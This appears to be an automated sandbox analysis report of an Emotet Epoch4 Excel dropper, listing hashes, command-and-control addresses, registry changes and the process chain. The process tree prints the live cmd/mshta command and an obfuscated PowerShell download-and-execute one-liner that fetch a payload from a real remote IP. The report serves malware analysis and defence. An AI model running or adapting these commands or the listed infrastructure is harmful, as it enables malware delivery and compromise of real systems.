emotet | f28bdb9c4fbdc61583fb85ae35bc5e589b0f4a048764c5749209ac519363358f

Analysis

max time kernel
59s
max time network
58s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 01:54

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General

Target

2022-1-28-300d22c0dc46f5cf0fb088f0bc36e543.xls
Size

46KB
MD5

300d22c0dc46f5cf0fb088f0bc36e543
SHA1

966d5b123e0f9048cbaa9d0f08c9abb0b3eb6fca
SHA256

f28bdb9c4fbdc61583fb85ae35bc5e589b0f4a048764c5749209ac519363358f
SHA512

c38c450e4ca8b5ab2593b22c3fec510e3ed5743e8593522c106bbc5950b6b1d6d2574a6b8845f2bfbd74d2a211a704c11a4eacd7dcf8036fddca891e065b5721

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	544	1580	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1736 mshta.exe
5 1876 powershell.exe
7 1876 powershell.exe
9 1112 rundll32.exe
11 1112 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1716 rundll32.exe
1716 rundll32.exe
1716 rundll32.exe
1716 rundll32.exe
1300 rundll32.exe
1300 rundll32.exe
1300 rundll32.exe
1300 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Rwbhab\vxwjl.hrn rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1736	mshta.exe
5	1876	powershell.exe
7	1876	powershell.exe
9	1112	rundll32.exe
11	1112	rundll32.exe

pid	process
1716	rundll32.exe
1716	rundll32.exe
1716	rundll32.exe
1716	rundll32.exe
1300	rundll32.exe
1300	rundll32.exe
1300	rundll32.exe
1300	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Rwbhab\vxwjl.hrn	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1580 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1876 powershell.exe
1112 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1876 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1580 EXCEL.EXE
1580 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1580 EXCEL.EXE
1580 EXCEL.EXE
1580 EXCEL.EXE

pid	process
1580	EXCEL.EXE

pid	process
1876	powershell.exe
1112	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1876	powershell.exe

pid	process
1580	EXCEL.EXE
1580	EXCEL.EXE

pid	process
1580	EXCEL.EXE
1580	EXCEL.EXE
1580	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1580 wrote to memory of 544	1580	EXCEL.EXE	CMD.EXE
PID 1580 wrote to memory of 544	1580	EXCEL.EXE	CMD.EXE
PID 1580 wrote to memory of 544	1580	EXCEL.EXE	CMD.EXE
PID 1580 wrote to memory of 544	1580	EXCEL.EXE	CMD.EXE
PID 544 wrote to memory of 1736	544	CMD.EXE	mshta.exe
PID 544 wrote to memory of 1736	544	CMD.EXE	mshta.exe
PID 544 wrote to memory of 1736	544	CMD.EXE	mshta.exe
PID 544 wrote to memory of 1736	544	CMD.EXE	mshta.exe
PID 1736 wrote to memory of 1876	1736	mshta.exe	powershell.exe
PID 1736 wrote to memory of 1876	1736	mshta.exe	powershell.exe
PID 1736 wrote to memory of 1876	1736	mshta.exe	powershell.exe
PID 1736 wrote to memory of 1876	1736	mshta.exe	powershell.exe
PID 1876 wrote to memory of 632	1876	powershell.exe	cmd.exe
PID 1876 wrote to memory of 632	1876	powershell.exe	cmd.exe
PID 1876 wrote to memory of 632	1876	powershell.exe	cmd.exe
PID 1876 wrote to memory of 632	1876	powershell.exe	cmd.exe
PID 632 wrote to memory of 1716	632	cmd.exe	rundll32.exe
PID 632 wrote to memory of 1716	632	cmd.exe	rundll32.exe
PID 632 wrote to memory of 1716	632	cmd.exe	rundll32.exe
PID 632 wrote to memory of 1716	632	cmd.exe	rundll32.exe
PID 632 wrote to memory of 1716	632	cmd.exe	rundll32.exe
PID 632 wrote to memory of 1716	632	cmd.exe	rundll32.exe
PID 632 wrote to memory of 1716	632	cmd.exe	rundll32.exe
PID 1716 wrote to memory of 1300	1716	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1300	1716	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1300	1716	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1300	1716	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1300	1716	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1300	1716	rundll32.exe	rundll32.exe
PID 1716 wrote to memory of 1300	1716	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 984	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 984	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 984	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 984	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 984	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 984	1300	rundll32.exe	rundll32.exe
PID 1300 wrote to memory of 984	1300	rundll32.exe	rundll32.exe
PID 984 wrote to memory of 1112	984	rundll32.exe	rundll32.exe
PID 984 wrote to memory of 1112	984	rundll32.exe	rundll32.exe
PID 984 wrote to memory of 1112	984	rundll32.exe	rundll32.exe
PID 984 wrote to memory of 1112	984	rundll32.exe	rundll32.exe
PID 984 wrote to memory of 1112	984	rundll32.exe	rundll32.exe
PID 984 wrote to memory of 1112	984	rundll32.exe	rundll32.exe
PID 984 wrote to memory of 1112	984	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-300d22c0dc46f5cf0fb088f0bc36e543.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:544

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1876

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:632

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1716

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rwbhab\vxwjl.hrn",hbisfXDs
8⤵
- Suspicious use of WriteProcessMemory
PID:984

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rwbhab\vxwjl.hrn",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1112

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
d957abcc6219725c93dcb71bebeb6c51

SHA1
01cf2ab70ce1d19ef4b4e8a22c96bb443d46218a

SHA256
679c7b726e8e92fe11def9153a877271bd839fcd3811fb6e71e4dd63ba14236f

SHA512
365623bb7dd9ff9f3bda3a89bf4e244c0131226ee816e86bdc21f0f57f48eee9d57e349c6efd3ea24e03097d2d214cb4118dbe98c34efe84a2fcf4f18da4bacb

Download Submit
\ProgramData\QWER.dll
MD5
d957abcc6219725c93dcb71bebeb6c51

SHA1
01cf2ab70ce1d19ef4b4e8a22c96bb443d46218a

SHA256
679c7b726e8e92fe11def9153a877271bd839fcd3811fb6e71e4dd63ba14236f

SHA512
365623bb7dd9ff9f3bda3a89bf4e244c0131226ee816e86bdc21f0f57f48eee9d57e349c6efd3ea24e03097d2d214cb4118dbe98c34efe84a2fcf4f18da4bacb

Download Submit
\ProgramData\QWER.dll
MD5
d957abcc6219725c93dcb71bebeb6c51

SHA1
01cf2ab70ce1d19ef4b4e8a22c96bb443d46218a

SHA256
679c7b726e8e92fe11def9153a877271bd839fcd3811fb6e71e4dd63ba14236f

SHA512
365623bb7dd9ff9f3bda3a89bf4e244c0131226ee816e86bdc21f0f57f48eee9d57e349c6efd3ea24e03097d2d214cb4118dbe98c34efe84a2fcf4f18da4bacb

Download Submit
\ProgramData\QWER.dll
MD5
d957abcc6219725c93dcb71bebeb6c51

SHA1
01cf2ab70ce1d19ef4b4e8a22c96bb443d46218a

SHA256
679c7b726e8e92fe11def9153a877271bd839fcd3811fb6e71e4dd63ba14236f

SHA512
365623bb7dd9ff9f3bda3a89bf4e244c0131226ee816e86bdc21f0f57f48eee9d57e349c6efd3ea24e03097d2d214cb4118dbe98c34efe84a2fcf4f18da4bacb

Download Submit
\ProgramData\QWER.dll
MD5
d957abcc6219725c93dcb71bebeb6c51

SHA1
01cf2ab70ce1d19ef4b4e8a22c96bb443d46218a

SHA256
679c7b726e8e92fe11def9153a877271bd839fcd3811fb6e71e4dd63ba14236f

SHA512
365623bb7dd9ff9f3bda3a89bf4e244c0131226ee816e86bdc21f0f57f48eee9d57e349c6efd3ea24e03097d2d214cb4118dbe98c34efe84a2fcf4f18da4bacb

Download Submit
\ProgramData\QWER.dll
MD5
d957abcc6219725c93dcb71bebeb6c51

SHA1
01cf2ab70ce1d19ef4b4e8a22c96bb443d46218a

SHA256
